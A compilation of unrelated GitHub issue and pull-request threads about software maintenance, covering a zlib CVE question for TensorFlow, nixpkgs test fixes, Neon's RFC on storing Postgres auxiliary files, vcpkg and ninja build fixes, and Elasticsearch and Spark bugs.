TSK-4716: rename builder showcase module

TSK-4716 rename builderShowcase to demo

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.Katarzyna Dusza seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.

first PR to develop


Vulnerability CVE-2022-37434

Click to expand!
Issue Type
Bug
Source
binary
Tensorflow Version
tf 2.6.5
Custom Code
No
OS Platform and Distribution
EulerOS 2.5\EulerOS 2.10
Mobile device

Python version
3.9
Bazel version

GCC/Compiler version

CUDA/cuDNN version

GPU model and memory

Current Behaviour?
Hi there, it seems that zlib 1.2.12 has a vulnerability CVE-2022-37434. Please fix it or confirm tf 2.6.5 is not affected by it.
Here is the detail:
https://nvd.nist.gov/vuln/detail/CVE-2022-37434

Standalone code to reproduce the issue
-

Relevant log output
No response

@crbean,
@crbean,
Could you please try to use the latest stable tensorflow v2.10 from here and let us know if you are facing same issue. Thank you!

TF 2.6 is no longer in the windows of supported versions.

Can you help me analyze whether the TF 2.8.3 version is affected by these vulnerabilities?

Unfortunately there is no SBOM generated by TF during build, so you have to check the source code
Main branch has https://github.com/tensorflow/tensorflow/blob/92d57e61d41f8e6fca50d582ac7a56046a391591/tensorflow/workspace2.bzl#L568-L576
So using vulnerable zlib.

https://nvd.nist.gov/vuln/detail/CVE-2022-37434
I did not find the inflateGetHeader method on the 2.8.3 branch that would trigger the vulnerability.
Can I prove that I am not affected by this vulnerability?

TF does not generate VEX statements, so the only option would be to read the entire codebase / send PR to update and then use tf-nightly / patched version when it would be released

@crbean,
Could you please take a look at this comment from the developer. Thank you!


功能咨询-预览气泡有没有全局的设置开关？

请问预览气泡有没有全局的设置开关，想把这个都关了。

请问预览气泡有没有全局的设置开关，想把这个都关了。

yes that one

But when I open a new window in another browser, it is still open. How can I close it for all?

请问预览气泡有没有全局的设置开关，想把这个都关了。

yes that one

But when I open a new window in another browser, it is still open. How can I close it for all?

if you are open a new window in another browser, its because different local storage and default is enabled you have to disabled it by untick

I know, I just want to ask if there is param to close it for all when I start chatgpt-next-web

请问预览气泡有没有全局的设置开关，想把这个都关了。

yes that one

But when I open a new window in another browser, it is still open. How can I close it for all?

if you are open a new window in another browser, its because different local storage and default is enabled you have to disabled it by untick

I know, I just want to ask if there is param to close it for all when I start chatgpt-next-web

I don't know about that but it's seem this

OK, thank you, I will try this


FIX Parameter tokens now redirect to correct url if mod_rewrite is off

fixes #5197

Seems ok with me.


csbt doesn't use resolver added in ~/.sbt/0.13/plugins/plugins.sbt

to use one of my sbt plugins, i have added my private repository added to ~/.sbt/0.13/plugins/plugins.sbt like this:
resolvers	+= "foobar" at "http://example.net/maven"
addSbtPlugin("example.net" % "sbt-custom-plugin" % "1.0.0")

now when i start csbt, i get an error:
(*:coursierSbtClassifiersResolution) coursier.ResolutionException: Encountered 1 error(s) in dependency resolution
it seems sbt looks into these resolvers:
~/.ivy2/local/com.example/...
https://repo1.maven.org/maven2/com/example/...
https://repo.typesafe.com/typesafe/ivy-releases/com.example/xsbt-jedit-control/1.6.0/ivys/ivy.xml
https://repo.scala-sbt.org/scalasbt/sbt-plugin-releases/com.example/...

where it does not look is http://example.net/maven - why?
this might be related to #370.

I'm about to add a small README for csbt - it is highly experimental, and suffers a bunch of issues, like this one...

thanks you very much, csbt is cool stuff and i really want to use it.

just tried with RC12, and everything looks fine now


chore: drop support for Python 3.6 (EOL as of 2021-12-23)

Python 3.6 has been end-of-life since late december 2021, and an
increasing amount of our dependencies are dropping support for it as a
consequence.
We introduced a warning to users that are still using Python 3.6 with
release v1.55.1 around March 16, 2022.
We are now effectively dropping support for Python 3.6, and introducing
testing for Python 3.10 releases.
Related: https://github.com/aws/jsii/commit/919f735778fe57047fba45f66a821a4abbe28afc
BREAKING CHANGE: jsii-pacmak and the libraries it generates for Python
targets now require a minimum Python version of 3.7, instead of 3.6
previously. We recommend users upgrade to the latest supported Python
release (Python 3.10).

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

⚠ This PR should remain labeled with pr/do-not-merge at least until 2022-04-16 (at which point it'll have bee a full month since we released the first version of jsii that emits a deprecation warning to users still on Python 3.6).


python3Packages.flask-mail: disable broken tests

These tests are broken by the fix for CVE-2023-27043 in the built-in email package, released in Python 3.9.20 / 3.10.15 / 3.11.10 / 3.12.6 / 3.13.0.
I've opened https://github.com/pallets-eco/flask-mail/issues/233 upstream for this.
Fixes #349350.
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[x] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.11 Release Notes (or backporting 23.11 and 24.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Result of nixpkgs-review run on x86_64-linux 1

1 package failed to build:

powerdns-admin

8 packages built:

pgadmin4
pgadmin4-desktopmode
pgadmin4-desktopmode.dist
pgadmin4.dist
python311Packages.flask-mail
python311Packages.flask-mail.dist
python312Packages.flask-mail
python312Packages.flask-mail.dist

The powerdns-admin build failure looks unrelated:
Error: While importing 'powerdnsadmin', an ImportError was raised:

Traceback (most recent call last):
  File "/nix/store/jwnh6qhxjys48v8xnjg10fzh5i6dqk6s-python3.12-flask-3.0.3/lib/python3.12/site-packages/flask/cli.py", l>
    __import__(module_name)
  File "/build/source/powerdnsadmin/__init__.py", line 7, in <module>
    from .lib import utils
  File "/build/source/powerdnsadmin/lib/utils.py", line 9, in <module>
    from distutils.version import StrictVersion
ModuleNotFoundError: No module named 'distutils'

I've opened pallets-eco/flask-mail#233 upstream for this.

Could you add that as a comment so that future maintainers can verify whether this still holds?

Done :+1:

This is a semi-automatic executed nixpkgs-review with nixpkgs-review-checks extension. It is checked by a human on a best effort basis and does not build all packages (e.g. lumo, tensorflow or pytorch).
nixpkgs-review result

:white_check_mark: 8 packages built:

pgadmin4
pgadmin4-desktopmode
pgadmin4-desktopmode.dist
pgadmin4.dist
python311Packages.flask-mail
python311Packages.flask-mail.dist
python312Packages.flask-mail
python312Packages.flask-mail.dist

The following issues got detected with the above build packages.
Please fix at least the ones listed with your changed packages:

pgadmin4-aarch64-darwin:

Package is missing a meta section.
If the package is using runCommand please make sure to inherit or create a meta section.
error: AttrPathNotFound
Packages in ‘/nix/store/smaazybisc0dwws0fpwwsv4ywgvy928j-nixpkgs’ do not contain ‘pgadmin4-aarch64-darwin’ attribute.

pgadmin4-desktopmode-aarch64-darwin:

Package is missing a meta section.
If the package is using runCommand please make sure to inherit or create a meta section.
error: AttrPathNotFound
Packages in ‘/nix/store/smaazybisc0dwws0fpwwsv4ywgvy928j-nixpkgs’ do not contain ‘pgadmin4-desktopmode-aarch64-darwin’ attribute.

pgadmin4-desktopmode.dist-aarch64-darwin:

Package is missing a meta section.
If the package is using runCommand please make sure to inherit or create a meta section.
error: AttrPathNotFound
Packages in ‘/nix/store/smaazybisc0dwws0fpwwsv4ywgvy928j-nixpkgs’ do not contain ‘pgadmin4-desktopmode.dist-aarch64-darwin’ attribute.

pgadmin4.dist-aarch64-darwin:

Package is missing a meta section.
If the package is using runCommand please make sure to inherit or create a meta section.
error: AttrPathNotFound
Packages in ‘/nix/store/smaazybisc0dwws0fpwwsv4ywgvy928j-nixpkgs’ do not contain ‘pgadmin4.dist-aarch64-darwin’ attribute.

python311Packages.flask-mail-aarch64-darwin:

Package is missing a meta section.
If the package is using runCommand please make sure to inherit or create a meta section.
error: AttrPathNotFound
Packages in ‘/nix/store/smaazybisc0dwws0fpwwsv4ywgvy928j-nixpkgs’ do not contain ‘python311Packages.flask-mail-aarch64-darwin’ attribute.

python311Packages.flask-mail.dist-aarch64-darwin:

Package is missing a meta section.
If the package is using runCommand please make sure to inherit or create a meta section.
error: AttrPathNotFound
Packages in ‘/nix/store/smaazybisc0dwws0fpwwsv4ywgvy928j-nixpkgs’ do not contain ‘python311Packages.flask-mail.dist-aarch64-darwin’ attribute.

python312Packages.flask-mail-aarch64-darwin:

Package is missing a meta section.
If the package is using runCommand please make sure to inherit or create a meta section.
error: AttrPathNotFound
Packages in ‘/nix/store/smaazybisc0dwws0fpwwsv4ywgvy928j-nixpkgs’ do not contain ‘python312Packages.flask-mail-aarch64-darwin’ attribute.

python312Packages.flask-mail.dist-aarch64-darwin:

Package is missing a meta section.
If the package is using runCommand please make sure to inherit or create a meta section.
error: AttrPathNotFound
Packages in ‘/nix/store/smaazybisc0dwws0fpwwsv4ywgvy928j-nixpkgs’ do not contain ‘python312Packages.flask-mail.dist-aarch64-darwin’ attribute.

This is a semi-automatic executed nixpkgs-review with nixpkgs-review-checks extension. It is checked by a human on a best effort basis and does not build all packages (e.g. lumo, tensorflow or pytorch).
nixpkgs-review result

1 package failed to build and are new build failure:

powerdns-admin: log was empty

:white_check_mark: 8 packages built:

pgadmin4
pgadmin4-desktopmode
pgadmin4-desktopmode.dist
pgadmin4.dist
python311Packages.flask-mail
python311Packages.flask-mail.dist
python312Packages.flask-mail
python312Packages.flask-mail.dist

The following issues got detected with the above build packages.
Please fix at least the ones listed with your changed packages:

pgadmin4-desktopmode-x86_64-linux:

Package is missing a meta section.
If the package is using runCommand please make sure to inherit or create a meta section.
error: AttrPathNotFound
Packages in ‘/nix/store/hxy5l22k5h9d657d036gf1y1nnl8rk8i-nixpkgs’ do not contain ‘pgadmin4-desktopmode-x86_64-linux’ attribute.

pgadmin4-desktopmode.dist-x86_64-linux:

Package is missing a meta section.
If the package is using runCommand please make sure to inherit or create a meta section.
error: AttrPathNotFound
Packages in ‘/nix/store/hxy5l22k5h9d657d036gf1y1nnl8rk8i-nixpkgs’ do not contain ‘pgadmin4-desktopmode.dist-x86_64-linux’ attribute.

pgadmin4-x86_64-linux:

Package is missing a meta section.
If the package is using runCommand please make sure to inherit or create a meta section.
error: AttrPathNotFound
Packages in ‘/nix/store/hxy5l22k5h9d657d036gf1y1nnl8rk8i-nixpkgs’ do not contain ‘pgadmin4-x86_64-linux’ attribute.

pgadmin4.dist-x86_64-linux:

Package is missing a meta section.
If the package is using runCommand please make sure to inherit or create a meta section.
error: AttrPathNotFound
Packages in ‘/nix/store/hxy5l22k5h9d657d036gf1y1nnl8rk8i-nixpkgs’ do not contain ‘pgadmin4.dist-x86_64-linux’ attribute.

powerdns-admin-x86_64-linux:

Package is missing a meta section.
If the package is using runCommand please make sure to inherit or create a meta section.
error: AttrPathNotFound
Packages in ‘/nix/store/hxy5l22k5h9d657d036gf1y1nnl8rk8i-nixpkgs’ do not contain ‘powerdns-admin-x86_64-linux’ attribute.

python311Packages.flask-mail-x86_64-linux:

Package is missing a meta section.
If the package is using runCommand please make sure to inherit or create a meta section.
error: AttrPathNotFound
Packages in ‘/nix/store/hxy5l22k5h9d657d036gf1y1nnl8rk8i-nixpkgs’ do not contain ‘python311Packages.flask-mail-x86_64-linux’ attribute.

python311Packages.flask-mail.dist-x86_64-linux:

Package is missing a meta section.
If the package is using runCommand please make sure to inherit or create a meta section.
error: AttrPathNotFound
Packages in ‘/nix/store/hxy5l22k5h9d657d036gf1y1nnl8rk8i-nixpkgs’ do not contain ‘python311Packages.flask-mail.dist-x86_64-linux’ attribute.

python312Packages.flask-mail-x86_64-linux:

Package is missing a meta section.
If the package is using runCommand please make sure to inherit or create a meta section.
error: AttrPathNotFound
Packages in ‘/nix/store/hxy5l22k5h9d657d036gf1y1nnl8rk8i-nixpkgs’ do not contain ‘python312Packages.flask-mail-x86_64-linux’ attribute.

python312Packages.flask-mail.dist-x86_64-linux:

Package is missing a meta section.
If the package is using runCommand please make sure to inherit or create a meta section.
error: AttrPathNotFound
Packages in ‘/nix/store/hxy5l22k5h9d657d036gf1y1nnl8rk8i-nixpkgs’ do not contain ‘python312Packages.flask-mail.dist-x86_64-linux’ attribute.


Compilation: mpi.h not found

OpenMPI installs its mpi.h under /usr/include/mpi/mpi.h . The csrc file includes however <mpi.h>.
We should either change the include to <mpi/mpi.h> or setup.py must figure out the include directory of mpi. I am not sure though, whether the different mpi vendors put the includes into the same prefix or not.

Could you retry? I changed setup.py to decativate the ninja build, since that one does not necessarily use mpicc.

Works now


Aux files rfc

This RFC discusses how to better store extra files in Neon's Postgres setup, like replication info and stats files, which aren't fully covered by the current system. It looks at options like using cloud storage (S3FS), dedicated storage (EBS), shared file systems (EFS), and a centralized service, weighing their good and bad points.
Rendered

TODO: A detailed list of files that can block start needs to be compiled. TODO: check if snapshot files need to be read at startup.

Walproposer uses a replication slot, but its persistency is not needed, so we can add a hack to keep it in a separate directory. (Removing it completely is also not impossible, though creates unlikely corner case when commit_lsn lags behind so much that WAL is recycled before it is sent to at least some available sk so that compute has to be restarted).
I'd advocate for 'Logical messages + basebackup' with proper implementation on the storage side (avoiding full rewrites) to avoid external dependencies, but logical decoding on standby seems to be important, unlike chained replication -- I do not see any application of it for neon, we don't connect replicas to compute directly anyway. So seems like s3fs option is the most reasonable here.
Though likely we'd need to have somewhat both actually, as similar issue should be fixed for RelDirectory/DbDirectory (DBDIR_KEY).

TODO: A detailed list of files that can block start needs to be compiled. TODO: check if snapshot files need to be read at startup.

Walproposer uses a replication slot, but its persistency is not needed, so we can add a hack to keep it in a separate directory. (Removing it completely is also not impossible, though creates unlikely corner case when commit_lsn lags behind so much that WAL is recycled before it is sent to at least some available sk so that compute has to be restarted). However, StartupReplicationSlots which loads all slots runs very early, so without changes it will slow down the start. But then again original issue was about bloating of snapshot files, not replslot files.
I'd advocate for 'Logical messages + basebackup' with proper implementation on the storage side (avoiding full rewrites) to avoid external dependencies and auth issues, but logical decoding on standby seems to be important, unlike chained replication -- I do not see any application of it for neon, we don't connect replicas to compute directly anyway. So seems like s3fs option is the most reasonable here.
Though likely we'd need to have somewhat both actually, as similar issue should be fixed for RelDirectory/DbDirectory (DBDIR_KEY).

AUX_FILE mechanism takes in account only logical replication slots, so walproposer slot is not relevant.

AUX_FILE mechanism takes in account only logical replication slots, so walproposer slot is not relevant.

ah, true

As far as I understand, DFS is still considered as "mission impossible"
because:

If we have single devices shared by all tenants, then we will have to create thousands of users to provide proper isolation and quotas.
If we create DFS partition for each tenant, then we will hit AWS limit for maximal number of mounted devices.

I am not a big expert here. But it is actually strange for me that the task which people are trying to solve from 60-th (first multiuser OS) is not yet solved. Also it is not clear for me how Amazon RDS used to work with EBS if "it is impossible".
What about combined approach? Do not create single DFS partition for all tenants but do not create pertinent partitions as well. Let's say rotate we create N partitions for K tenants each? Inside one partition we are relying on standard permission/quota mechanism to isolate tenant's data.
I am not sure how authentication os performed in DFS. Do we actually need to create correspondent users at host system? Are there some differences between VMs and PODs? But I absolutely sure that there should be some solutions.
Sharing single DFS partition between multiple tenants will solve the problem with limit for number of mounted devices. It is obvious that tenants from one node should access the same partition. Less obvious what to do when tenant is migrated to some other node.  But the straightforward solution is just to copy this data from one partition to another.
I still trying to push DFS solution because only in this case we solve the problem with temp/logged tables, limits for index size, custom, extension storage, ...

On the topic of a separate service:

IMO the most pivotal point made above is that the semantics of slot storage are different to what we have for postgres pages today.  So we definitely need a logically separate service, then there's a separate question about whether it should be physically separate (run as a separate process, use a separate DB, etc).
If we were to build it in the pageserver, I think we'd want to define some special area of the keyspace with its own semantics like "latest value only" for some content, so that after we do our log-structured ingest to L0 layers, we can compact away all but the latest values as soon as we're writing L1 etc.  If we taught keyspace partitioning to recognize this special key tiny key range, it could have its own simple rules for compaction etc (like, really simple: full image compaction every 5 minutes or something like that).
Arpad has suggested building a simple hash table on top of a key range in the pageserver, where the keys act as slots in the hash table to which we can append values, to get away from the current monolithic single-key storage of all the slots.  I quite like that idea, and it would be worth building if we were building this generic "store what you want" slot service inside the pageserver.
Writing a physically independent service is clearly a valid and workable approach as well.  It has the major upside of decoupling development work from the pageserver.  My worry would be the operational side of it: we have plans for pageserver to do things like gracefully migrating tenants around during upgrades to hide downtime, it would be a shame if a physical independent slot service didn't benefit from that.  That's not a decisive downside, but it's worth calling out.

IMO the most pivotal point made above is that the semantics of slot storage are different to what we have for postgres pages today.

I still do not completely agree with it. Pages access pattern can be also quite different...
Yes, looks like do not need versioning for slots information (now?), although snapshot are "naturally" versioned. But I do not think that is "axiom" (slots need not to be versioned). It seems to be unclear now how to combine slots with branching, but for PiTR it seems to be expected behaviour - to restore slots state at the particular point of time.
So I can not agree with @hlinnaka  that storage for the slots is very different from other AUX files and should be implemented in some other way. Yes we have faced with problems with storing snapshots which I have not expected and which cause real risks in production. But now (first of all thank's to your PR) this problem are solved. I do not see strong necessity in developing one more special services. And only for slots and not for AUX files...
From mu point of view it is very important and correct that we are storing in out KV storage not even relational data but also SLRUs, checkpoints and AUX files. There are much more cons of this approach than pros.

I think we'd want to define some special area of the keyspace with its own semantics like "latest value only" for some content,

What to notice it once again that there are good reasons to retrieve not only the last value. At least PiTR and may be in future we will find more use cases for it. For statistics data is versioning is obvious.

Arpad has suggested building a simple hash table on top of a key range in the pageserver,
The mai question is not how to implement it in PS but how to provide durability and consistency with other data.
Once slot state is updates, Postgres is vacuum able to perform some updates which affect main storage. It means that update of slots and other Postgres objects stored in KV storage should be coordinated (2PC???). Also PS is not intended to be reliable storage. So we have to store this data in S3. But we can not wait until write to S3 is acknowledged.

Writing a physically independent service is clearly a valid and workable approach as well.
IMHO it is bad idea, especially if we are going to use it only for slots.

Here are some more thoughts on AUX files and logical replication.
When we were looking into adding another type of AUX file (replication origin) for incoming logical replication, I started thinking that maybe we need to rethink our whole approach to this problem.
Just to recap, we were under the impression that PostgreSQL needs only a small number of extra files (from dozens to hundreds) in some cases. These files include things like replication slots, logical decoding snapshots, vacuum stats, pages access stats, two-phase commit state files, etc. And, PostgreSQL doesn't really have a concept of an AUX file. That was our idea for naming all the files we haven't stored yet.
It quickly became clear that our guess about the number of AUX files was off. This was kind of surprising, especially with logical replication. It was mainly because PostgreSQL doesn't usually notice when it's creating thousands of small short-lived files in some directory that would later disappear. But our approach to storing all AUX files in one hashmap and rewriting the whole hashmap for every key change led to a huge increase in storage use. Then we started fixing PostgreSQL's edge cases that create a lot of files. It looks like we can handle it for outgoing logical replication, but it feels like a losing battle. Over time, we'll probably run into more and more situations like this.
Why did we put those files in a hashmap? Mainly because those files need list operations and our storage can't do key range scans. PostgreSQL uses readdir() to list these files, and we need to find a way to support something similar. If we had key range scans, we could put each AUX file under its own key and scan a key prefix to list those files, avoiding the issues we've faced.
This isn't a new problem. We have a similar issue with listing relations, where PostgreSQL also relies on readdir(), and we use a global hashmap instead. This means anyone creating tables in a loop could cause more issues (it's easier to create a lot of tables than, say, logical decoding snapshots). So, it looks like we need some scalable key range scan operation. Internally, this could mean using some catalog (not a hashmap, because there are better data structures for storing data in external memory), or maybe we could rely more on the filesystem (though we might still need a catalog for files on S3).
So, how do we get key range operations in our storage? We've talked about the maximum number of keys in a few discussions. PostgreSQL has its limits, like the number of tables. On most filesystems, the number of inodes would be a tighter limit. Anyway, we should think about what it would take to handle 10 million keys or more. At first glance, there are plenty of B-trees/LSM-trees out there that could handle this easily. If we can't or don't want to go that route, we need to think about tighter limits (though I doubt we can go much below the 100k - 1M range without affecting some use cases).

When we were looking into adding another type of AUX file (replication origin) for incoming logical replication,

We are not looking for adding   another type of AUX file (replication origin)  - it was already there and already merged.
The problem we are going to solve is something different: Posgres is advancing replication origin on each transaction commit. It doesn't need to persist this data on each TX commit because in case of crash, Postgres will replay WAL and redo all this commits including replacing origins.
We can certainly  also handle real origin in commit WAL record in PS.
As I wrote above, there are two question:

Where to store real origin?
How to pass it to compute?

The most obvious place (where it is already stored) is pg_logical/replorigin_checkpoint AUX file. But if this file has to be rewritten on each commit it will cause very negative impact on performance.
Another obvious place which we periodically flush to the disk is timeline metadata. It contains disk_consistent_lsn and
in case of PS crash two will replay all WAL starting from this point. So we can add repl_origin_lsn to Metadata and update it in memory pin each commit. Then basebackup can include it in  pg_logical/replorigin_checkpoint. Yes, to do it, PS has to know format of this file. Also adding field to Metadatas file requires format change. We have field for metadata format version, but until now there are just two version of metadata and many Neon code is written in the assumption, that there are just old and new format of Metadata. Definitely sometime we have to rewrite it...
Yet another alternative is not to extend Metadata file, maintain origin LSN somewhere else in memory and when metadata is flushed to the disk, also flush pg_logical/replorigin_checkpoint AUX file.  But first update origin lsn in it (once again PS need to know format of this file).

It looks like we can handle it for outgoing logical replication, but it feels like a losing battle.

I can not completely agree with you. First of all they're still just one "massive" file: TX snapshots. Yes I made a big mistake not correctly estimating number of this files. But now after a number of PRs were pushed, the problem seems to be solved:

We use deltas to avoid quadratic size explosion cause by serialising the whole directory
We limit number of snapshots at compute
We limit number of subsequent deltas at PS tp reduce reconstruction time.

We are going to persist some other files: statistics and pg_prewarm. But here the problem is more with size of the file rather with their number (singletons).

So, how do we get key range operations in our storage?

Well, we have one range operation in our KV storage: drop. But it is not implemented:)
Actually range scan can be implemented if we can include some sequence numbers in AUX file keys. The we can just iterate through all files until get error. Yes, it's awkward that we do not have check_if_key_exists operation and have to catch errors instead. But the main problem with this approach is that extraction all this files can take significant amount of time.
And we have already faced with this problem: once delta approach to storing AUX files was implemented it took 40 minutes to startup node with 70k snapshot files. And it is certainly not because we have to add 70k entries to hash map (I assume that it can be done in few ms). So if we will have range API and store each AUX file as separate <key,value> pair, then startup  will take the comparable time if there are several thousands of such files.
Definitely we can provide more efficient implementation of rage scan rather than just enumerate and lookup keys in the loop. But I do not think that it can help to radically change total time. And please notice that we need to include ALL AUX files in base backup: there is no on-demand download mechanism for AUX files now (inline SLRUs).
So conclusion:
From my point of view we have not lost battle with AUX files and there is no need to try to invent some other alternative.
The problem with large number of snapshots is solved.
The problem with replication origins can be solved.
Range key operation is intended to solve the problem with large number of files, which doesn't exist anymore. And IMHO it will not be able to fix it in any case. Also it dopes't help much to solve the problem with large files (for example statists state can be few Mb for 100k relations).

After thinking a little bit more and observing problems with building pg14 (which doesn't;t support lz4 compression)
I decoded to create separate PR for compression only image layers:
https://github.com/neondatabase/neon/pull/7091

When we persist Aux files we need to take the following into consideration (see https://neondb.slack.com/archives/C03QLRH7PPD/p1711365177901189?thread_ts=1711363664.903439&cid=C03QLRH7PPD)

if we support persisting AUX files in the future, when the AUX file has been created on a different architecture and we restart an endpoint's compute on a different architecture  we need to throw away the AUX files to play it safe at least for AUX files for which we haven't validated they're compatible across architectures.

This also probably needs to happen for PG upgrades, as those also may change the format of AUX files.


✨ [New Demo Request]: History API

What is the Example and Demo Topic?
History API
Please explain why do you need it?
The DOM object provides access to the browser's session history. It exposes useful methods and properties that let you navigate back and forth through the user's history and manipulate the contents of the history stack.
Any Links, Reads?
https://developer.mozilla.org/en-US/docs/Web/API/History_API
Do you want to contribute to the source code for this example?
yes
If you are picking up this request to implement, PLEASE READ THIS

HOW TO ADD A DEMO

Hi, can I work on this?

Hi, can I work on this?

yeah, you can

@atapas Can you assign this to me?


Fix building on Windows in UNICODE mode

Some WinAPI calls were already suffixed with A to use the Ansi versions, but not all of those. With this commit it is possible to build ninja with -DUNICODE on Windows.

Better to set -DUNICODE by default in configure.py to prevent future usage of non-prefixed function?


[avro-cpp] Fix windows static build

[x] Changes comply with the maintainer guide
[x] SHA512s are updated for each updated download
[x] The "supports" clause reflects platforms that may be fixed by this new version
[x] Any fixed CI baseline entries are removed from that file.
[x] Any patches that are no longer applied are deleted from the port's directory.
[x] The version database is fixed by rerunning ./vcpkg x-add-version --all and committing the result.
[x] Only one version is added to each modified port's versions file.

Fix #32848
Also fixed these in ci baseline.
avro-cpp:arm-neon-android=fail
avro-cpp:arm64-android=fail
avro-cpp:x64-android=fail

Usage passed on x64-osx with following demo code
cmake_minimum_required(VERSION 3.15)
project(test_avro_cpp)

set(CMAKE_CXX_STANDARD 17)

find_path(AVROCPP_INCLUDE_DIR avro/Encoder.hh REQUIRED)
find_library(AVROCPP_LIBRARY avrocpp REQUIRED)

add_executable(test_avro_cpp main.cpp cpx.hh)
set_source_files_properties("cpx.hh" PROPERTIES GENERATED TRUE)

find_program(ACROGENCPP avrogencpp REQUIRED)
add_custom_command(
        OUTPUT "cpx.hh"
        COMMAND
            "${ACROGENCPP}"
            "-i"
            "cpx.json"
            "-o"
            "cpx.hh"
            "-n"
            "c"
        DEPENDS
            "cpx.json"
        WORKING_DIRECTORY
            "${CMAKE_CURRENT_SOURCE_DIR}"
)

target_include_directories(test_avro_cpp PRIVATE "${AVROCPP_INCLUDE_DIR}")
target_link_libraries(test_avro_cpp PRIVATE "${AVROCPP_LIBRARY}")

{
  "type": "record",
  "name": "cpx",
  "fields" : [
    {"name": "re", "type": "double"},
    {"name": "im", "type" : "double"}
  ]
}

#include <iostream>
#include "cpx.hh"
#include "avro/Encoder.hh"
#include "avro/Decoder.hh"

int main() {
    std::unique_ptr<avro::OutputStream> out = avro::memoryOutputStream();
    avro::EncoderPtr e = avro::binaryEncoder();
    e->init(*out);
    c::cpx c1{};
    c1.re = 1.0;
    c1.im = 2.13;
    avro::encode(*e, c1);

    std::unique_ptr<avro::InputStream> in = avro::memoryInputStream(*out);
    avro::DecoderPtr d = avro::binaryDecoder();
    d->init(*in);

    c::cpx c2{};
    avro::decode(*d, c2);
    std::cout << '(' << c2.re << ", " << c2.im << ')' << std::endl;
    return 0;
}

@dg0yt
It should works as expected now.

@dg0yt
Now that the patch is smaller and all your suggestions are dealt with, please review again.


Connect CSPM CloudGuard to SSO (admins)

Describe the issue
We want keycloak to front CSPM so that we don't have to manage users in Cloud Security Posture Management.
Additional context
Add any other context, attachments or screenshots
Definition of done

Use the existing prod realm and create a new client (make sure the same MFA rules apply as per the login app)
Be able to log in via the same IDPs as the login app (Only IDIR now, so direct AAD should be sufficient)
Determine if authorization takes place through Azure AD app registration assignment, or in CSPM.

CSPM not available in Canada until June

Looks like we're right on schedule.  Have an initial setup meeting May 27, should be starting our journey at that point

In order to setup SSO we need to verify ownership of @gov.bc.ca. We won't be able to do this. Setting up a meeting with CHeck Point to discuss options

I discussed the issue above with Check Point today and they are going to take it to one of their SSO experts and get back to us.

There are more than one BC Gov team, which may make this impossible

Discovered there is an Enterprise App registration for Azure AD, and ability to make connection within CSPM tooling.  To submit support ticket to ADMS for Azure AD enterprise app registration.
Once complete, to setup connection from CloudGuard CSPM and test.

App registration is now in place.  Next to configure on CSPM side.

App registration is now in place.  Next to configure on CSPM side.

Configuration complete.  sign-in requires use of a new URL, which is fine.  Authorization takes place within CSPM (or infinity portal).  More investigation into group constrained access to take place during CSPM refresh training next week.

Configuration complete.  sign-in requires use of a new URL, which is fine.  Authorization takes place within CSPM (or infinity portal).  More investigation into group constrained access to take place during CSPM refresh training next week.


Elasticsearch NEST deserializing issue

NEST/Elasticsearch.Net version: 7.17.10
Elasticsearch version: 7.17.10
.NET runtime version: net6.0
Operating system version: Windows
Description of the problem including expected versus actual behavior:
When using multiple template search in NEST the expected result would be to be able to search and deserialize the response.
What currently is happening, when making a request using MultiSearchTemplateRequest and calling
var multiSearchResponse = this.client.MultiSearchTemplate(indexTemplateRequest);
The response can not be deserialize using
var responses = multiSearchResponse.GetResponse("some-index"); as it always returns null.
But it does look like there is an exception being thrown. I pulled the github repo and debugged it. Got the following.

Steps to reproduce:
Please see the link below
var indexTemplateRequest = new MultiSearchTemplateRequest
{
    Operations = new Dictionary<string, ISearchTemplateRequest>
    {
        {
            "custom-form-index", new SearchTemplateRequest("some-index")
            {
                Id = "some-index-template",
                Params = new Dictionary<string, object>
                {
                    { "query", "test"},
                    { "clauses", new List<object>() }
                }
            }
        }
    }
};

var multiSearchResponse = this.client.MultiSearchTemplate(indexTemplateRequest);
var responses = multiSearchResponse.GetResponse<PocoObj>("some-index"); -> ALWAYS RETURNS NULL

Can also refer to the below link
https://discuss.elastic.co/t/how-to-run-multiple-search-templates-using-nest/334933
Expected behavior
When calling multiSearchResponse.GetResponse<PocoObj>("some-index"); it is expected to return List of type <T> (in this case PocoObj)

I am also getting this issue


[FEA][SPARK-41151] Keep built-in file _metadata column nullable value consistent

Is your feature request related to a problem? Please describe.
Spark 3.4 makes all fields inside of _metadata not nullable (file_path, file_name, file_modification_time, file_size, row_index).
Related ticket: https://issues.apache.org/jira/browse/SPARK-41151
Describe the solution you'd like
A clear and concise description of what you want to happen.
Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
Add any other context, code examples, or references to existing implementations about the feature request here.

This affects both Spark 3.4 and Spark 3.3.2

We currently do not support "_metadata" columns and fall back to the CPU if we see it (this is for Spark 3.3.0).
scala> spark.read.parquet("./target/DF").selectExpr("*", "_metadata").show(truncate=false)
23/01/04 16:31:07 WARN GpuOverrides:
!Exec <CollectLimitExec> cannot run on GPU because the Exec CollectLimitExec has been disabled, and is disabled by default because Collect Limit replacement can be slower on the GPU, if huge number of rows in a batch it could help by limiting the number of rows transferred from GPU to CPU. Set spark.rapids.sql.exec.CollectLimitExec to true if you wish to enable it
  @Partitioning <SinglePartition$> could run on GPU
  *Exec <ProjectExec> will run on GPU
    *Expression <Alias> cast(a#64 as string) AS a#80 will run on GPU
      *Expression <Cast> cast(a#64 as string) will run on GPU
    *Expression <Alias> cast(_metadata#70 as string) AS _metadata#83 will run on GPU
